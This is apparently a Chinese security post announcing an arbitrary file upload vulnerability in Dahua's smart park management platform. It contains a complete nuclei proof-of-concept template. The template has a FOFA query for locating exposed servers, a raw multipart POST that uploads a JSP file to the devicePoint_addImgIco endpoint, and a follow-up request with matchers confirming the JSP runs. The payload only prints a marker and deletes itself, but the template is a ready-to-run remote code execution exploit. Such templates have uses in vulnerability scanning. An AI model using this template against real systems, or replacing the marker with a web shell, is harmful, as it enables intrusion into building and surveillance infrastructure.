大华智慧园区综合管理平台hasSubsystem接口处存在文件上传漏洞【附nuclei-POC】

id: dahua-zhihuiyuanqu-hasSubsystem-fileuploadinfo:  name: 大华智慧园区综合管理平台hasSubsystem接口处存在文件上传漏洞  author: kingkong  severity: high  metadata:    fofa-query: app="dahua-智慧园区综合管理平台"http:  - raw:      - |        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT        User-Agent: Java/1.8.0_345        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2        Content-Length: 229        Connection: close        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT        Content-Disposition: form-data; name="upload"; filename="1.jsp"        Content-Type: application/octet-stream        Content-Transfer-Encoding: binary        <%out.println("test");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--      - |        GET /upload/emap/society_new/{{data_url}} HTTP/1.1        Host: {{Hostname}}    matchers-condition: and    matchers:      - type: dsl        dsl:              - 'status_code_1 == 200'              - 'status_code_2 == 200'              - 'contains(body_1,"data")'              - 'contains(body_2,"test")'        condition: and    extractors:      - type: regex        name: data_url        part: body_1        group: 1        regex:          - (ico_res_[a-zA-Z0-9]{12}_on.jsp)        internal: true